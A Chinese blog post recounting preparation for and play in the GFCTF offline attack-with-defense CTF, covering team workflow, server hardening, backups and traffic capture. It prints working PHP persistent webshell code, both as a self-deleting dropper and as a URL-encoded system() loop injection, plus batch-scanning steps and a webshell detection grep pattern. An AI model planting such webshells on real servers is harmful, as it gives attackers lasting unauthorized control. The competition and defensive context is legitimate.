记GFCTF线下AWD赛

准备(复习基础和熟悉流程,记录思路)

AWD平台地址推荐:https://github.com/m0xiaoxi/AWD_CTF_Platform

流程介绍

AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。详细介绍如下:

  1. 出题方会给每一支队伍部署同样环境的主机,主机有一台或者多台。

  2. 拿到机器后每个队伍会有一定的加固时间或没有加固时间,这个视规则而定。

  3. 每个服务、数据库、主机上都会可能存在 flag 字段,并且会定时刷新。通过攻击拿到 flag 后需要提交到裁判机进行得分,一般会提供指定的提交接口。下一轮刷新后,如果还存在该漏洞,可以继续利用漏洞获取 flag 进行得分。

通常来说,如果攻防赛时间比较短的话,一般只会考核 Web 、数据库的渗透、已有漏洞的利用;如果时间较长,很可能还需要做内网渗透,由于这块比较深入,这篇文章暂时不讲,(因为我自己也不太会。

一般一个队伍由三人组成。负责两个方面:一方面负责防守加固、做基线、加WAF、流量回放等等。一方面负责源码审计、写攻击脚本、维持权限、持续渗透,具体怎么安排都视三人能力而定。

攻击流程

在 AWD 中,Web 攻击流程一般分为信息收集、攻击端口、攻击Web服务、维持权限四步,只要能快速得分,也不一定按照这四步来。

信息收集

第一步,探测主机。 用 Nmap 或者 HTTPScan等工具,先扫描主办方给的内网存活主机,弄明白网络拓扑。如果主办方给了主机范围的话就更加省事儿了。

第二步,探测端口。 因为主办方给的机器都是一样的,所以直接看自己开了什么端口就行。如果不一样的话,使用 Nmap 进行常见端口扫描,先攻击常见端口,再放后台进行全端口的扫描,发现新端口再加入到攻击队列中。

**第三步,探测端口服务。**端口服务一般用 Nmap 就能扫到,并且可以用 Nmap 的脚本扫一下漏洞,但是需要注意 Nmap 的相关参数,这要根据情况灵活运用。

简单的信息收集到此完成,除了 Nmap 外可以使用自己熟悉的工具,比如说 msf 啥的,方便后续渗透。

端口攻击

由于 AWD 需要的就是手快,端口一般也会有弱口令的情况存在,比如常见的 22、3389、1443、3306 等主机登陆、数据库端口。

我打过的一次省赛中,就遇到了这种情况。主办方只给队伍机器的 IP,给定用户名,需要自行爆破进入机器,并修改密码。如果这个时候你的手慢,爆破脚本没准备好,你的机器就会沦入别人之手。当时我们就是手慢了,只能眼睁睁看着别人拿到了我们的机器,一轮轮掉分了…

Web 攻击

Web 方面的语言多为 PHP,小部分为 Java 和 Python。这里的 Web 环境分两种情况,一种是已有漏洞的框架,一种是出题人写的框架。

如果是已有漏洞的框架,通常会比较明显。比如说 Struts 2 各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。总之手要

如果是出题人出的框架,常用并且简单有效的做法是把整站源码下载下来,直接用工具审计。以 PHP 举例,一般的流程是先D盾查杀,发现有带有预留后门或者 Webshell 马上报给防守队友进行加固。

把后门的问题搞定、防止别人快速拿分后,其次才是源码审计,发现问题点后迅速验证,报给防守队友,并且开始写攻击脚本。以 PHP 举例,一般是使用 Seay 等源码审计工具,审核出比较明显的漏洞。

完成了工具扫描后,开始常规的渗透测试,比如说文件上传、SQL 注入等等,看是否能绕过,找到一个点马上写利用脚本。

维持权限

一顿操作猛如虎,拿到 Webshell 后要维持权限。简单的 Webshell 一眼就看出来了好伐,在 AWD 中优先考虑种不死马、反弹 shell,用一般木马的留后门方式维持权限,以便后续刷 flag,再考虑提升权限。有的同学不知道啥叫"不死马",解释一下,"不死马"的主要功能是执行后会不断在该路径生成一个 shell 文件,用于菜刀等工具进行连接,是一种维持权限的方法。

Trick: 使用 `find / -name *flag*` 或 `grep -rn “flag” *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

防守流程

防守队友做的事情简单来说,按优先级有以下几个:

  1. 重中之重:备份网站源码和数据库。这个作用有二,一是以防自己魔改网站源码或数据库后无法恢复,二是裁判一般会定时 Check 服务是否正常,如果不正常会进行扣分,因此备份也可以防对手入侵主机删源码后快速恢复服务。

  2. 系统安全性检查。就是不该开的端口 3306 有没有开启、有没有限制 SSH 登陆、SSH密码 修改、MySQL 是否为默认密码等等,这里可以用脚本刷一遍。

  3. 部署 WAF。用自己提前准备好的 WAF,使用脚本进行快速部署,但是要注意验证会不会部署完后服务不可用。

  4. 修改权限。比如说 MySQL 用户读表权限,上传目录是否可执行的权限等等。

  5. 部署文件监控脚本。监控可读写权限的目录是否新增、删除文件并及时提醒。这里说下,如果被种了不死马的话通常有以下几种克制方法:

强行 kill 掉进程后重启服务
建立一个和不死马相同名字的文件或者目录
写脚本不断删除文件
不断写入一个和不死马同名的文件

  1. 部署流量监控脚本或开启服务器日志记录。目的主要是为了进行流量回放,看其它大佬如何用我们没发现的漏洞来打我们的机子,抓取到之后把看不懂的流量直接回放到别的机子去,这里还得提到,我们自己在攻击的时候,也要试着混淆一下自己的攻击流量,不能轻易被别人利用。

加固思路

登录服务器SSH

修改密码:passwd

下载源码并备份(FileZilla—Sftp—询问密码方式)

tar -czvf /tmp/html.tar.gz /var/www/html(压缩)
cd /tmp
tar -xzvf /tmp/html.tar.gz(解压)
cp -R /tmp/var/www/html/. /var/www/html/ (复制)
mysql dump -u root -p test(数据库名) > test.sql(备份数据库)
mysql -u root -p test(数据库名) < test.sql (还原数据库)

数据库连接

数据库启停:
service mysql start
service mysql stop
修改密码:

5.7版本以前 update user set password=password("密码") where user ="用户名"
5.7版本以后 update mysql.user set authentication_string = password("新密码") where user ="用户名"
8.0版本 alter user '用户名'@'localhost' identified with mysql_native_password by '新密码';
flush privileges; 刷新Mysql的系统权限相关表

数据库备份:
mysqldump -u root -p123 -P3306 -A >backdb.sql
数据库还原:

方法一:mysql -u root -p密码 库名< backdb.sql
方法二:source var/www/html/backdb.sql (mysql中)

快速查找命令:

上WAF或日志记录(若waf在web目录下需要删除掉waf文件的include)

find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<? php\ninclude('/var/www/html/php_log.php');\n#g"

快速查一下shell

find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

Webshell查杀(D盾):删除木马后门。

代码审计(seay):存在漏洞的变量直接写死等。

抓流量:

tcpdump tcp -t -s 0 and port 80 -w /tmp/target.cap

-t : 不显示时间戳
-s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
攻击思路: 扫描攻击目标:sudo masscan --range 192.168.100.1-192.168.100.100 -Pn -p5000 -oX scan.xml。解析scan.xml到IP.txt
View Code。burp抓取payload后批量攻击:

通过默认后门批量种不死马:

命令执行写入不死马,GET方式需要转换为url编码:

cmd=system('while%20true%3Bdo%20echo%20%5C'%3C%3Fphp%20if(md5(%24_GET%5Bpasswd%5D)%3D%3D%22139bdb983ee92a3624f2cc978f0cb3b7%22)%7B%40eval(%24_REQUEST%5Bcmd%5D)%3B%7D%20%3F%3E%5C'%20%3E.config.php%3Bsleep%200.1%3Bdone%3B')%3B

明文:

system('while true;do echo \'<?php if(md5($_GET[passwd])=="139bdb983ee92a3624f2cc978f0cb3b7"){@eval($_REQUEST[cmd]);} ?>\' >.config.php;sleep 0.1;done;');

通过上传漏洞批量种不死马:

不死马.php:

 <?php
 ignore_user_abort(true);
 set_time_limit(0);
 unlink(__FILE__);
 $file = '.config.php';
 $code = '<?php if(md5($_GET["passwd"])=="139bdb983ee92a3624f2cc978f0cb3b7") {@eval($_REQUEST[cmd]);} ?>';
 while (1){
      file_put_contents($file,$code);
      usleep(5000);
 }
 ?>
//.config.php?passwd=FPXtian&cmd=system("ls");

通过不死马批量获取flag:

构造获取flag payload,使用插件copy as python-requests生成requests库的参数,替换至批量访问脚本中批量访问

后续防御与攻击思路

1、分析流量:修复漏洞,或者直接通过其他队伍的攻击流量进行批量反打。
2、杀不死马:

1 while true
2 do
3 rm -f .config.php
4 done

小结

AWD 攻防赛前需要准备的有:

1. 各种软件包,如 Python、CURL 等等,以备机器上没有而陷入尴尬

2. 一大堆 EXP 库和漏洞库,可以放个乌云的虚拟机备用

3. 加固、基线检查脚本

4. WAF 代码和部署脚本

5. AWD 专用的批量拿 Webshell、批量交
flag、批量维持权限的基本代码或小框架

正式比赛

比赛开始,Xshell连上了ssh,先改密码(听说有的没早点改密码的变成了别的队伍的工具机),然后用Xftp下载网站源码。蒙了一下,用御剑扫了所有端口,刚开始没发现有什么不一样的,后面才观察到好几个端口是连续的,对应四个队伍,10结尾的都是robot机。不一会儿,大屏幕传来声音,有的队伍被攻破了,不一会儿我的easy_web也被攻破了。但是baby_web迟迟没有队伍搞出来。后来主办方提示了baby那题是thinkphp rce漏洞,又不一会儿,大部分队伍的baby_web也被攻破了。
我在那蒙了半天,直到快中午才上道。
差不多流程应该是 :先连ssh用passwd改密,下载网站源码备份好,用d盾和seay工具审计明显的漏洞(一句话等),再从源码中数据库(大部分是MySQL)连接部分获得MySQL的账号密码和数据库名,并进行相应的数据库备份。在规定时间间隔(我们这次GFCTF线下赛是五分钟)修复对应漏洞,注意是否可以挂waf。有的队伍会把别队的站搞down。此时可以开始编写脚本或者修改已有的脚本,分别做好护站和自动化攻击提交flag操作。在这过程中,一定要时刻注意自己的服务正常与否

总结

提前熟悉流程,做好分工,备好脚本,强调一个字:

  • 4
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yjprolus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值